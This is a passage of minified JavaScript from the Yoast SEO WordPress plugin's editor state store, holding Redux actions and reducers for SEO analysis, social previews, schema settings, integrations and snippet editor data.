A="request",R="success",h="error",f="idle",D="wistiaEmbedPermission",O=(0,n.createSlice)({name:D,initialState:{value:!1,status:f,error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${D}/${A}`,(e=>{e.status="loading"})),e.addCase(`${D}/${R}`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${D}/${h}`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,i.get)(t,"error.code",500),message:(0,i.get)(t,"error.message","Unknown")}}))}}),P=(O.getInitialState,{selectWistiaEmbedPermission:e=>(0,i.get)(e,D,{value:!1,status:f}),selectWistiaEmbedPermissionValue:e=>(0,i.get)(e,[D,"value"],!1),selectWistiaEmbedPermissionStatus:e=>(0,i.get)(e,[D,"status"],f),selectWistiaEmbedPermissionError:e=>(0,i.get)(e,[D,"error"],{})}),v={...O.actions,setWistiaEmbedPermission:function*(e){yield{type:`${D}/${A}`};try{return yield{type:D,payload:e},{type:`${D}/${R}`,payload:{value:e}}}catch(t){return{type:`${D}/${h}`,payload:{error:t,value:e}}}}},b=O.reducer;class C{static get estimatedReadingTimeElement(){return document.getElementById("yoast_wpseo_estimated-reading-time-minutes")}static get estimatedReadingTime(){return C.estimatedReadingTimeElement&&C.estimatedReadingTimeElement.value||""}static set estimatedReadingTime(e){C.estimatedReadingTimeElement&&(C.estimatedReadingTimeElement.value=e)}}const N="SET_ESTIMATED_READING_TIME",L="LOAD_ESTIMATED_READING_TIME",M="SET_FLESCH_READING_EASE",k="SET_PROMINENT_WORDS",U="SET_TEXT_LENGTH",W=e=>(C.estimatedReadingTime=e.toString(),{type:N,payload:e}),F=()=>({type:L,payload:(0,i.toSafeInteger)(C.estimatedReadingTime)}),K=({score:e,difficulty:t})=>({type:M,payload:{score:e,difficulty:t}}),B=e=>({type:k,payload:e}),x=e=>({type:U,payload:e}),H="WPSEO_SET_ACTIVE_MARKER";function G(e){return{type:H,activeMarker:e}}const V="SET_ACTIVE_AI_FIXES_BUTTON",q="SET_DISABLED_AI_FIXES_BUTTONS";function Y(e){return{type:V,activeAIButton:e}}function j(e){return{type:q,disabledAIButtons:e}}class ${static get noIndexElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_meta-robots-noindex":"hidden_wpseo_noindex")}static get noFollowElement(){return document.getElementById("yoast_wpseo_meta-robots-nofollow")}static get advancedElement(){return document.getElementById("yoast_wpseo_meta-robots-adv")}static get breadcrumbsTitleElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_bctitle":"hidden_wpseo_bctitle")}static get canonicalElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_canonical":"hidden_wpseo_canonical")}static get noIndex(){return $.noIndexElement&&$.noIndexElement.value||""}static set noIndex(e){$.noIndexElement.value=e}static get noFollow(){return $.noFollowElement&&$.noFollowElement.value||""}static set noFollow(e){$.noFollowElement.value=e}static get advanced(){return $.advancedElement&&$.advancedElement.value||""}static set advanced(e){$.advancedElement.value=e}static get breadcrumbsTitle(){return $.breadcrumbsTitleElement&&$.breadcrumbsTitleElement.value||""}static set breadcrumbsTitle(e){$.breadcrumbsTitleElement.value=e}static get canonical(){return $.canonicalElement&&$.canonicalElement.value||""}static set canonical(e){$.canonicalElement.value=e}}const Q="SET_NO_INDEX",X="SET_NO_FOLLOW",z="SET_ADVANCED",J="SET_BREADCRUMBS_TITLE",Z="SET_CANONICAL_URL",ee="LOAD_ADVANCED_SETTINGS",te=e=>($.noIndex=e,{type:Q,value:e}),re=e=>($.noFollow=e,{type:X,value:e}),ne=e=>($.advanced=e.join(","),{type:z,value:e}),ie=e=>($.breadcrumbsTitle=e,{type:J,value:e}),se=e=>($.canonical=e,{type:Z,value:e}),ae=()=>({type:ee,settings:{noIndex:$.noIndex,noFollow:$.noFollow,advanced:$.advanced.split(","),breadcrumbsTitle:$.breadcrumbsTitle,canonical:$.canonical,isLoading:!1}}),oe="SNIPPET_EDITOR_UPDATE_ANALYSIS_DATA",ce="RUN_ANALYSIS",le="UPDATE_SHORTCODES_FOR_PARSING";function ue(e){return{type:oe,data:e}}function de(){return{type:ce,timestamp:Date.now()}}function pe(e){return{type:le,shortcodesForParsing:e}}const Ee="ADD_CHECKLIST";function ge(e,t){return{type:Ee,name:e,data:t}}class me{static get keyphraseElement(){var e;return document.getElementById(null!==(e=window.wpseoScriptData)&&void 0!==e&&e.isPost?"yoast_wpseo_focuskw":"hidden_wpseo_focuskw")}static get isCornerstoneElement(){var e;return document.getElementById(null!==(e=window.wpseoScriptData)&&void 0!==e&&e.isPost?"yoast_wpseo_is_cornerstone":"hidden_wpseo_is_cornerstone")}static get seoScoreElement(){var e;return document.getElementById(null!==(e=window.wpseoScriptData)&&void 0!==e&&e.isPost?"yoast_wpseo_linkdex":"hidden_wpseo_linkdex")}static get readabilityScoreElement(){var e;return document.getElementById(null!==(e=window.wpseoScriptData)&&void 0!==e&&e.isPost?"yoast_wpseo_content_score":"hidden_wpseo_content_score")}static get inclusiveLanguageScoreElement(){var e;return document.getElementById(null!==(e=window.wpseoScriptData)&&void 0!==e&&e.isPost?"yoast_wpseo_inclusive_language_score":"hidden_wpseo_inclusive_language_score")}static set keyphrase(e){me.keyphraseElement&&(me.keyphraseElement.value=e)}static get keyphrase(){var e,t;return null!==(e=null===(t=me.keyphraseElement)||void 0===t?void 0:t.value)&&void 0!==e?e:""}static set isCornerstone(e){me.isCornerstoneElement&&(me.isCornerstoneElement.value=e?"1":"0")}static get isCornerstone(){var e;return"1"===(null===(e=me.isCornerstoneElement)||void 0===e?void 0:e.value)}static set seoScore(e){me.seoScoreElement&&(me.seoScoreElement.value=e)}static get seoScore(){var e,t;return null!==(e=null===(t=me.seoScoreElement)||void 0===t?void 0:t.value)&&void 0!==e?e:""}static set readabilityScore(e){me.readabilityScoreElement&&(me.readabilityScoreElement.value=e)}static get readabilityScore(){var e,t;return null!==(e=null===(t=me.readabilityScoreElement)||void 0===t?void 0:t.value)&&void 0!==e?e:""}static set inclusiveLanguageScore(e){me.inclusiveLanguageScoreElement&&(me.inclusiveLanguageScoreElement.value=e)}static get inclusiveLanguageScore(){var e,t;return null!==(e=null===(t=me.inclusiveLanguageScoreElement)||void 0===t?void 0:t.value)&&void 0!==e?e:""}}const _e="CONTENT_ANALYSIS_",Se=`${_e}SET_SEO_RESULTS`,Te=`${_e}SET_SEO_RESULTS_FOR_KEYWORD`,ye=`${_e}UPDATE_SEO_RESULT`,we=`${_e}REMOVE_KEYWORD`,Ie=`${_e}SET_READABILITY_RESULTS`,Ae=`${_e}UPDATE_READABILITY_RESULT`,Re=`${_e}SET_INCLUSIVE_LANGUAGE_RESULTS`,he=`${_e}UPDATE_INCLUSIVE_LANGUAGE_RESULT`,fe=`${_e}SET_OVERALL_READABILITY_SCORE`,De=`${_e}SET_OVERALL_SEO_SCORE`,Oe=`${_e}SET_OVERALL_INCLUSIVE_LANGUAGE_SCORE`;function Pe(e,t){return{type:Te,keyword:e,results:t}}function ve(e){return{type:Ie,results:e}}function be(e){return{type:Re,results:e}}function Ce(e){return me.readabilityScore=e,{type:fe,overallScore:e}}function Ne(e,t){return me.seoScore=e,{type:De,keyword:t,overallScore:e}}function Le(e){return me.inclusiveLanguageScore=e,{type:Oe,overallScore:e}}const Me="WPSEO_",ke=`${Me}LOAD_CORNERSTONE_CONTENT`,Ue=`${Me}TOGGLE_CORNERSTONE_CONTENT`,We=`${Me}SET_CORNERSTONE_CONTENT`,Fe=()=>({type:We,isCornerstone:me.isCornerstone}),Ke=e=>(me.isCornerstone=e,{type:We,isCornerstone:e}),Be=()=>(me.isCornerstone=!me.isCornerstone,{type:Ue}),xe="SET_CURRENT_PROMOTIONS";function He(e){return{type:xe,payload:e}}const Ge="SET_EDITOR_DATA_CONTENT",Ve="SET_EDITOR_DATA_TITLE",qe="SET_EDITOR_DATA_EXCERPT",Ye="SET_EDITOR_DATA_IMAGE_URL",je="SET_EDITOR_DATA_SLUG";function $e(e){return{type:Ge,content:e}}function Qe(e){return{type:Ve,title:e}}function Xe(e){return{type:qe,excerpt:e}}function ze(e){return{type:Ye,imageUrl:e}}function Je(e){return{type:je,slug:e}}const Ze="OPEN_MODAL",et="CLOSE_MODAL";function tt(e){return{type:Ze,modalKey:e}}function rt(){return{type:et}}const nt="WPSEO_",it=`${nt}LOAD_FOCUS_KEYWORD`,st=`${nt}SET_FOCUS_KEYWORD`,at=()=>({type:it,keyword:me.keyphrase}),ot=function(e){return me.keyphrase=e,{type:st,keyword:e}},ct="WPSEO_SET_MARKER_STATUS",lt=function(e){return{type:ct,marksButtonStatus:e}},ut="WPSEO_SET_MARKER_PAUSE_STATUS";function dt(e){return{type:ut,isMarkerPaused:e}}const pt="DISMISS_ALERT",Et="DISMISS_ALERT_SUCCESS",gt="SET_DISMISSED_ALERTS";function*mt(e){return yield{type:pt,alertKey:e},{type:Et,alertKey:e}}function _t(e){return{type:gt,payload:e}}const St="WPSEO_SET_PRIMARY_TAXONOMY",Tt=(e,t)=>({type:St,taxonomy:e,termId:t});class yt{static get articleTypeInput(){return document.getElementById("yoast_wpseo_schema_article_type")}static get defaultArticleType(){return yt.articleTypeInput.getAttribute("data-default")}static get articleType(){return yt.articleTypeInput.value}static set articleType(e){yt.articleTypeInput.value=e}static get pageTypeInput(){return document.getElementById("yoast_wpseo_schema_page_type")}static get defaultPageType(){return yt.pageTypeInput.getAttribute("data-default")}static get pageType(){return yt.pageTypeInput.value}static set pageType(e){yt.pageTypeInput.value=e}}const wt="SET_PAGE_TYPE",It="SET_ARTICLE_TYPE",At="GET_SCHEMA_PAGE_DATA",Rt="GET_SCHEMA_ARTICLE_DATA",ht=e=>(yt.pageType=e,{type:wt,pageType:e}),ft=e=>(yt.articleType=e,{type:It,articleType:e}),Dt=()=>({type:At,pageType:yt.pageType,defaultPageType:yt.defaultPageType}),Ot=()=>({type:Rt,articleType:yt.articleType,defaultArticleType:yt.defaultArticleType}),Pt="MODAL_DISMISS",vt="MODAL_OPEN",bt="MODAL_OPEN_NO_KEYPHRASE";function Ct(){return{type:Pt}}function Nt(e){return{type:vt,location:e}}function Lt(){return{type:bt}}const Mt="CHANGE_COUNTRY",kt="SET_REQUEST_SUCCEEDED",Ut="SET_REQUEST_FAILED",Wt="SET_LIMIT_REACHED",Ft="NEW_REQUEST",Kt="NO_DATA_FOUND",Bt="SET_LOGIN_STATUS";function xt(e,t){return{type:Ft,countryCode:e,keyphrase:t}}function Ht(e){return{type:kt,response:e}}function Gt(e){return{type:Ut,response:e}}function Vt(){return{type:Wt}}function qt(e){return{type:Mt,countryCode:e}}function Yt(){return{type:Kt}}function jt(e){return{type:Bt,loginStatus:e}}const $t="SET_SETTINGS",Qt="SET_CONTENT_IMAGE",Xt="UPDATE_SNIPPET_EDITOR_SETTINGS",zt=function(e){return{type:$t,settings:e}},Jt=function(e){return{type:Qt,src:e}},Zt=function(e){return{type:Xt,snippetEditor:e}},er="SET_SHOPPING_DATA";function tr(e){return{type:er,shoppingData:e}}const rr=window.yoast.helpers,nr="SNIPPET_EDITOR_SWITCH_MODE",ir="SNIPPET_EDITOR_UPDATE_DATA",sr="SNIPPET_EDITOR_FIND_CUSTOM_FIELDS",ar="SNIPPET_EDITOR_CUSTOM_FIELD_RESULTS",or="SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLE",cr="SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLES_BATCH",lr="SNIPPET_EDITOR_HIDE_REPLACEMENT_VARIABLES",ur="SNIPPET_EDITOR_REMOVE_REPLACEMENT_VARIABLE",dr="SNIPPET_EDITOR_REFRESH",pr="SNIPPET_EDITOR_UPDATE_WORDS_TO_HIGHLIGHT",Er="LOAD_SNIPPET_EDITOR_DATA";function gr(e){return{type:nr,mode:e}}function mr(e){return{type:ir,data:e}}function*_r(e,t){const r=yield{type:sr,query:e,postId:t};return{type:ar,results:r}}function Sr(e,t,r="",n=!1){const i="string"==typeof t?(0,rr.decodeHTML)(t):t;return{type:or,name:e,value:i,label:r,hidden:n}}function Tr(e){return{type:cr,updatedVariables:e}}function yr(e){return{type:pr,wordsToHighlight:e}}function wr(e){return{type:ur,name:e}}function Ir(){return{type:dr,time:(new Date).getMilliseconds()}}function Ar(e){return{type:lr,data:e}}const Rr=window.wp.data;class hr{static get titleElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_twitter-title":"hidden_wpseo_twitter-title")}static get descriptionElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_twitter-description":"hidden_wpseo_twitter-description")}static get imageIdElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_twitter-image-id":"hidden_wpseo_twitter-image-id")}static get imageUrlElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_twitter-image":"hidden_wpseo_twitter-image")}static get title(){return hr.titleElement.value}static set title(e){hr.titleElement.value=e}static set description(e){hr.descriptionElement.value=e}static get description(){return hr.descriptionElement.value}static set imageId(e){hr.imageIdElement.value=e}static get imageId(){return hr.imageIdElement.value}static set imageUrl(e){hr.imageUrlElement.value=e}static get imageUrl(){return hr.imageUrlElement.value}}const fr="SET_TWITTER_TITLE",Dr="SET_TWITTER_DESCRIPTION",Or="SET_TWITTER_IMAGE",Pr="CLEAR_TWITTER_IMAGE",vr="LOAD_TWITTER_PREVIEW",br=e=>(e.trim()===(0,Rr.select)("yoast-seo/editor").getSocialTitleTemplate().trim()?hr.title="":hr.title=e,{type:fr,title:e}),Cr=e=>(e.trim()===(0,Rr.select)("yoast-seo/editor").getSocialDescriptionTemplate().trim()?hr.description="":hr.description=e,{type:Dr,description:e}),Nr=e=>(hr.imageId=e.id,hr.imageUrl=e.url,{type:Or,image:e}),Lr=()=>(hr.imageId="",hr.imageUrl="",{type:Pr}),Mr=()=>{const{getSocialDescriptionTemplate:e,getSocialTitleTemplate:t}=(0,Rr.select)("yoast-seo/editor");return{type:vr,imageId:hr.imageId,imageUrl:hr.imageUrl,description:hr.description||e(),title:hr.title||t()}};class kr{static get titleElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_opengraph-title":"hidden_wpseo_opengraph-title")}static get descriptionElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_opengraph-description":"hidden_wpseo_opengraph-description")}static get imageIdElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_opengraph-image-id":"hidden_wpseo_opengraph-image-id")}static get imageUrlElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_opengraph-image":"hidden_wpseo_opengraph-image")}static get title(){return kr.titleElement.value}static set title(e){kr.titleElement.value=e}static set description(e){kr.descriptionElement.value=e}static get description(){return kr.descriptionElement.value}static set imageId(e){kr.imageIdElement.value=e}static get imageId(){return kr.imageIdElement.value}static set imageUrl(e){kr.imageUrlElement.value=e}static get imageUrl(){return kr.imageUrlElement.value}}const Ur="SET_FACEBOOK_TITLE",Wr="SET_FACEBOOK_DESCRIPTION",Fr="SET_FACEBOOK_IMAGE",Kr="CLEAR_FACEBOOK_IMAGE",Br="LOAD_FACEBOOK_PREVIEW",xr=e=>(e.trim()===(0,Rr.select)("yoast-seo/editor").getSocialTitleTemplate().trim()?kr.title="":kr.title=e,{type:Ur,title:e}),Hr=e=>(e.trim()===(0,Rr.select)("yoast-seo/editor").getSocialDescriptionTemplate().trim()?kr.description="":kr.description=e,{type:Wr,description:e}),Gr=e=>(kr.imageUrl=e.url,kr.imageId=e.id,{type:Fr,image:e}),Vr=()=>(kr.imageId="",kr.imageUrl="",{type:Kr}),qr=()=>{const{getSocialDescriptionTemplate:e,getSocialTitleTemplate:t}=(0,Rr.select)("yoast-seo/editor");return{type:Br,imageId:kr.imageId,imageUrl:kr.imageUrl,description:kr.description||e(),title:kr.title||t()}},Yr="SET_WARNING_MESSAGE";function jr(e){return{type:Yr,message:e}}const $r="WINCHER_MODAL_DISMISS",Qr="WINCHER_MODAL_OPEN",Xr="WINCHER_MODAL_OPEN_NO_KEYPHRASE";function zr(){return{type:$r}}function Jr(e){return{type:Qr,location:e}}function Zr(){return{type:Xr}}const en="WINCHER_SET_REQUEST_SUCCEEDED",tn="WINCHER_SET_REQUEST_FAILED",rn="WINCHER_SET_KEYPHRASE_LIMIT_REACHED",nn="WINCHER_NEW_REQUEST",sn="WINCHER_SET_LOGIN_STATUS",an="WINCHER_FORCE_SEO_PERFORMANCE_TRACKED_KEYPHRASES",on="WINCHER_SET_AUTOMATICALLY_TRACK_ALL_REQUEST";function cn(){return{type:nn}}function ln(e){return{type:en,response:e}}function un(e){return{type:tn,response:e}}function dn(e){return{type:rn,limit:e}}function pn(e,t){return{type:sn,loginStatus:e,newlyAuthenticated:t}}function En(e){return{type:an,trackAll:e}}function gn(e){return{type:on,automaticallyTrack:e}}const mn="WINCHER_SET_WEBSITE_ID",Sn="WINCHER_SET_SEO_PERFORMANCE_TRACKING_FOR_KEYPHRASE",Tn="WINCHER_UNSET_SEO_PERFORMANCE_TRACKING_FOR_KEYPHRASE",yn="WINCHER_SET_SEO_PERFORMANCE_TRACKED_KEYPHRASES";function wn(e){return{type:mn,websiteId:e}}function In(e){return{type:Sn,keyphraseObject:e}}function An(e){return{type:Tn,untrackedKeyphrase:e}}function Rn(e){return{type:yn,trackedKeyphrases:e}}const hn="SET_IS_PREMIUM",fn=e=>({type:hn,payload:e}),Dn="SET_POST_ID",On=e=>({type:Dn,payload:e}),{setAdminUrl:Pn}=c,{setLinkParams:vn}=g,{setPluginUrl:bn}=w,{setWistiaEmbedPermission:Cn,setWistiaEmbedPermissionValue:Nn}=v,Ln={estimatedReadingTime:0,textLength:{}},Mn={results:[],overallScore:null},kn={};function Un(e,t,r){return Object.assign({},e,{[t]:{results:r}})}const Wn={},Fn=(0,Rr.combineReducers)({seo:function(e=kn,t){switch(t.type){case Se:return function(e){const t={};return e.resultsPerKeyword.forEach((function(e){t[e.keyword]={results:e.results}})),t}(t);case ye:return function(e,t){return e[t.keyword]?-1!==(0,i.findIndex)(e[t.keyword].results,{id:t.result.id})?function(e,t){const r=Array.from(e[t.keyword].results,(e=>e.id===t.result.id?t.result:e));return Object.assign({},e,{[t.keyword]:{results:r}})}(e,t):Object.assign({},e,{[t.keyword]:{results:[...e[t.keyword].results,t.result]}}):Un(e,t.keyword,[t.result])}(e,t);case we:return(0,i.omit)(e,t.keyword);case Te:return function(e,t){return e[t.keyword]?Object.assign({},e,{[t.keyword]:{results:t.results}}):Un(e,t.keyword,t.results)}(e,t);case De:return function(e,t){return Object.assign({},e,{[t.keyword]:{...e[t.keyword],overallScore:t.overallScore}})}(e,t);default:return e}},readability:function(e=Wn,t){switch(t.type){case Ie:return function(e,t){return Object.assign({},e,{results:t.results})}(e,t);case Ae:return function(e,t){if((0,i.isUndefined)(e.results))return Object.assign({},e,{results:[t.result]});const r=(0,i.findIndex)(e.results,{id:t.result.id});if(-1!==r){const n=e.results.filter((function(t){return t!==e.results[r]}));return Object.assign({},e,{results:n.concat(t.result)})}return Object.assign({},e,{results:[...e.results,t.result]})}(e,t);case fe:return function(e,t){return Object.assign({},e,{overallScore:t.overallScore})}(e,t);default:return e}},inclusiveLanguage:function(e=Mn,t){switch(t.type){case Re:return function(e,t){return Object.assign({},e,{results:t.results})}(e,t);case he:return function(e,t){if((0,i.isUndefined)(e.results))return Object.assign({},e,{results:[t.result]});const r=(0,i.findIndex)(e.results,{id:t.result.id});if(-1!==r){const n=e.results.filter((function(t){return t!==e.results[r]}));return Object.assign({},e,{results:n.concat(t.result)})}return Object.assign({},e,{results:[...e.results,t.result]})}(e,t);case Oe:return function(e,t){return Object.assign({},e,{overallScore:t.overallScore})}(e,t);default:return e}}}),Kn={noIndex:"",noFollow:"",advanced:[],breadcrumbsTitle:"",canonical:"",isLoading:!0},Bn={activeAIButton:null,disabledAIButtons:{}},xn={snippet:{},timestamp:0,shortcodesForParsing:[]},Hn={checklistItems:{}},Gn={content:"",excerpt:"",imageUrl:"",slug:"",title:""},Vn={openedModal:""},qn={title:"",description:"",warnings:[],image:{url:"",id:"",alt:""}};function Yn(){return(0,i.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}function jn(){const e=Yn();return!0===(0,i.get)(e,"contentAnalysisActive",!1)}function $n(){const e=Yn();return!0===(0,i.get)(e,"keywordAnalysisActive",!1)}function Qn(){const e=Yn();return!0===(0,i.get)(e,"inclusiveLanguageAnalysisActive",!1)}function Xn(){const e=Yn();return!0===(0,i.get)(e,"cornerstoneActive",!1)}const zn=function(){const e=Yn();return(0,i.get)(e,"wordFormRecognitionActive",!1)};function Jn(){const e=Yn();return!0===(0,i.get)(e,"semrushIntegrationActive",!1)}function Zn(){const e=Yn();return!0===(0,i.get)(e,"wincherIntegrationActive",!1)}const ei={},ti={pageType:"",defaultPageType:"",articleType:"",defaultArticleType:""},ri={whichModalOpen:"none",displayNoKeyphraseMessage:!1},ni={isRequestPending:!1,keyphrase:"",countryCode:"us",isSuccess:!1,response:null,limitReached:!1,hasData:!0,isLoggedIn:!1},ii={},si=window.wp.i18n,ai=window.wp.sanitize;function oi(e){return e.charAt(0).toUpperCase()+e.slice(1)}window.React,window.wp.element;const{stripHTMLTags:ci}=rr.strings;function li(e){return e=function(e){if(!["ct_","cf_","pt_"].includes(e.substring(0,3)))return e.replace(/_/g," ");const t=e.slice(0,3);switch(-1!==(e=e.slice(3)).indexOf("desc_")&&(e=e.slice(5)+" description"),t){case"ct_":e+=" (custom taxonomy)";break;case"cf_":e+=" (custom field)";break;case"pt_":e="Post type ("+(e=e.replace("single","singular"))+")"}return e}(e),oi(e)}function ui(e,t="_"){return e.replace(/\s/g,t)}const di={title:"",description:"",warnings:[],image:{url:"",id:"",alt:""}},pi={message:[]},Ei={whichModalOpen:"none",hasNoKeyphrase:!1},gi={isSuccess:!1,response:null,limitReached:!1,isLoggedIn:!1,isNewlyAuthenticated:!1,limit:10,trackAll:!1,automaticallyTrack:!1,historyDaysLimit:0},mi={websiteId:"",trackedKeyphrases:null,trackAll:!1},_i={activeMarker:function(e=null,t){return t.type===H?t.activeMarker:e},[s]:l,advancedSettings:(e=Kn,t)=>{switch(t.type){case ee:return{...e,...t.settings};case Q:return{...e,noIndex:t.value};case X:return{...e,noFollow:t.value};case z:return{...e,advanced:t.value};case Z:return{...e,canonical:t.value};case J:return{...e,breadcrumbsTitle:t.value};default:return e}},AIButton:function(e=Bn,t){switch(t.type){case V:return{...e,activeAIButton:t.activeAIButton};case q:return{...e,disabledAIButtons:t.disabledAIButtons};default:return e}},analysis:Fn,analysisData:function(e=xn,t){switch(t.type){case oe:return{...e,snippet:t.data};case ce:return{...e,timestamp:t.timestamp};case le:return{...e,shortcodesForParsing:t.shortcodesForParsing}}return e},checklist:function(e=Hn,t){if(t.type===Ee){const r=Object.assign({},e);return r.checklistItems[t.name]=t.data,r}return e},currentPromotions:function(e={},t){return t.type===xe?{promotions:t.payload}:e},dismissedAlerts:function(e={},t){return t.type===Et&&t.alertKey?{...e,[t.alertKey]:!0}:t.type===gt?{...t.payload}:e},editorContext:function(e=function(){return{contentLocale:(0,i.get)(window,"wpseoScriptData.metabox.contentLocale",""),isBlockEditor:"1"===(0,i.get)(window,"wpseoScriptData.isBlockEditor","0"),isElementorEditor:"1"===(0,i.get)(window,"wpseoScriptData.isElementorEditor","0"),isPost:(0,i.get)(window,"wpseoScriptData",{}).hasOwnProperty("isPost"),isTerm:(0,i.get)(window,"wpseoScriptData",{}).hasOwnProperty("isTerm"),noIndex:"1"===(0,i.get)(window,"wpseoAdminL10n.noIndex","0"),postTypeNameSingular:(0,i.get)(window,"wpseoAdminL10n.postTypeNameSingular",""),postTypeNamePlural:(0,i.get)(window,"wpseoAdminL10n.postTypeNamePlural",""),termType:(0,i.get)(window,"wpseoScriptData.termType",""),postStatus:(0,i.get)(window,"wpseoScriptData.postStatus",""),isFrontPage:"1"===(0,i.get)(window,"wpseoScriptData.isFrontPage","0")}}()){return e},editorData:(e=Gn,t)=>{switch(t.type){case Ge:return{...e,content:t.content};case qe:return{...e,excerpt:t.excerpt};case Ye:return{...e,imageUrl:t.imageUrl};case je:return{...e,slug:t.slug};case Ve:return{...e,title:t.title}}return e},editorModals:function(e=Vn,t){switch(t.type){case Ze:return{...e,openedModal:t.modalKey};case et:return{...e,openedModal:""}}return e},facebookEditor:(e=qn,t)=>{switch(t.type){case Br:return{...e,title:t.title,description:t.description,image:{id:t.id,url:t.imageUrl}};case Ur:return{...e,title:t.title};case Wr:return{...e,description:t.description};case Fr:return{...e,warnings:t.image.warnings,image:{id:t.image.id,url:t.image.url,alt:t.image.alt||""}};case Kr:return{...e,image:{url:"",id:"",alt:""},warnings:[]};default:return e}},focusKeyword:function(e="",t){switch(t.type){case it:case st:return t.keyword;default:return e}},insights:(e=Ln,{type:t,payload:r})=>{switch(t){case L:case N:return{...e,estimatedReadingTime:r};case M:return{...e,fleschReadingEaseScore:r.score,fleschReadingEaseDifficulty:r.difficulty};case U:return{...e,textLength:r};default:return e}},isCornerstone:function(e=!1,t){switch(t.type){case Ue:return!e;case We:return t.isCornerstone;default:return e}},isMarkerPaused:function(e=!1,t){return t.type===ut?function(e,t){return t.isMarkerPaused}(0,t):e},isPremium:(e=!1,t)=>t.type===hn?t.payload:e,[d]:m,[S]:I,postId:(e=!1,t)=>t.type===Dn?t.payload:e,marksButtonStatus:function(e="disabled",t){return t.type===ct?t.marksButtonStatus:e},preferences:function(e=function(){const e=!!window.wpseoAdminL10n.displayAdvancedTab;return{isContentAnalysisActive:jn(),isKeywordAnalysisActive:$n(),isInclusiveLanguageAnalysisActive:Qn(),isWordFormRecognitionActive:(0,i.isUndefined)(window.wpseoPremiumMetaboxData)&&zn(),isCornerstoneActive:Xn(),isBreadcrumbsDisabled:!!window.wpseoAdminL10n.isBreadcrumbsDisabled,isPrivateBlog:!!window.wpseoScriptData.isPrivateBlog,isSEMrushIntegrationActive:Jn(),shouldUpsell:(0,i.isUndefined)(window.wpseoPremiumMetaboxData),displayAdvancedTab:e,displaySchemaSettings:e&&!!window.wpseoScriptData.isPost,displaySchemaSettingsFooter:window.wpseoScriptData.metabox.schema.displayFooter,useOpenGraphData:window.wpseoScriptData.metabox.showSocial.facebook,useTwitterData:window.wpseoScriptData.metabox.showSocial.twitter,isWincherIntegrationActive:Zn(),isInsightsEnabled:(0,i.get)(window,"wpseoScriptData.metabox.isInsightsEnabled",!1),isNewsEnabled:(0,i.get)(window,"wpseoScriptData.metabox.isNewsSeoActive",!1),isAiFeatureActive:Boolean(window.wpseoAdminL10n.isAiFeatureActive),isWooCommerceSeoActive:(0,i.get)(window,"wpseoScriptData.metabox.isWooCommerceSeoActive",!1),isWooCommerceActive:(0,i.get)(window,"wpseoScriptData.metabox.isWooCommerceActive",!1),isRtl:(0,i.get)(window,"wpseoScriptData.metabox.isRtl",!1),userLocale:(0,i.get)(window,"wpseoScriptData.metabox.userLocale","en-US")}}()){return e},primaryTaxonomies:function(e=ei,t){return t.type===St?{...e,[t.taxonomy]:t.termId}:e},schemaTab:(e=ti,t)=>{switch(t.type){case wt:return{...e,pageType:t.pageType};case It:return{...e,articleType:t.articleType};case At:return{...e,pageType:t.pageType,defaultPageType:t.defaultPageType};case Rt:return{...e,articleType:t.articleType,defaultArticleType:t.defaultArticleType};default:return e}},SEMrushModal:function(e=ri,t){switch(t.type){case bt:return{whichModalOpen:"none",displayNoKeyphraseMessage:!0};case vt:return{whichModalOpen:t.location,displayNoKeyphraseMessage:!1};case Pt:return{whichModalOpen:"none",displayNoKeyphraseMessage:!1}}return e},SEMrushRequest:function(e=ni,t){switch(t.type){case Ft:return{...e,isRequestPending:!0,keyphrase:t.keyphrase,countryCode:t.countryCode,isSuccess:!1,response:null};case kt:return{...e,isRequestPending:!1,isSuccess:!0,response:t.response,hasData:!0};case Ut:return{...e,isRequestPending:!1,isSuccess:!1,response:t.response,hasData:!1};case Wt:return{...e,isRequestPending:!1,limitReached:!0,hasData:!1};case Mt:return{...e,countryCode:t.countryCode};case Kt:return{...e,isSuccess:!0,isRequestPending:!1,hasData:!1,response:null};case Bt:return{...e,isLoggedIn:t.loginStatus};default:return e}},settings:function(e={},t){switch(t.type){case $t:return{...e,...t.settings};case Qt:{const r=Object.assign({},e.socialPreviews,{contentImage:t.src});return{...e,socialPreviews:{...r}}}case Xt:{const r=Object.assign({},e.snippetEditor,t.snippetEditor);return{...e,snippetEditor:{...r}}}default:return e}},shoppingData:function(e=ii,t){if(t.type===er){const r=(0,i.pick)(t.shoppingData,["rating","reviewCount","availability","price"]);return{...e,...r}}return e},snippetEditor:function(e=function(){return{mode:"mobile",data:{title:"",description:"",slug:""},wordsToHighlight:[],replacementVariables:[{name:"date",label:(0,si.__)("Date","wordpress-seo"),value:""},{name:"id",label:(0,si.__)("ID","wordpress-seo"),value:""},{name:"page",label:(0,si.__)("Page","wordpress-seo"),value:""},{name:"searchphrase",label:(0,si.__)("Search phrase","wordpress-seo"),value:""},{name:"sitedesc",label:(0,si.__)("Tagline","wordpress-seo"),value:""},{name:"sitename",label:(0,si.__)("Site title","wordpress-seo"),value:""},{name:"category",label:(0,si.__)("Category","wordpress-seo"),value:""},{name:"focuskw",label:(0,si.__)("Focus keyphrase","wordpress-seo"),value:""},{name:"title",label:(0,si.__)("Title","wordpress-seo"),value:""},{name:"parent_title",label:(0,si.__)("Parent title","wordpress-seo"),value:""},{name:"excerpt",label:(0,si.__)("Excerpt","wordpress-seo"),value:""},{name:"primary_category",label:(0,si.__)("Primary 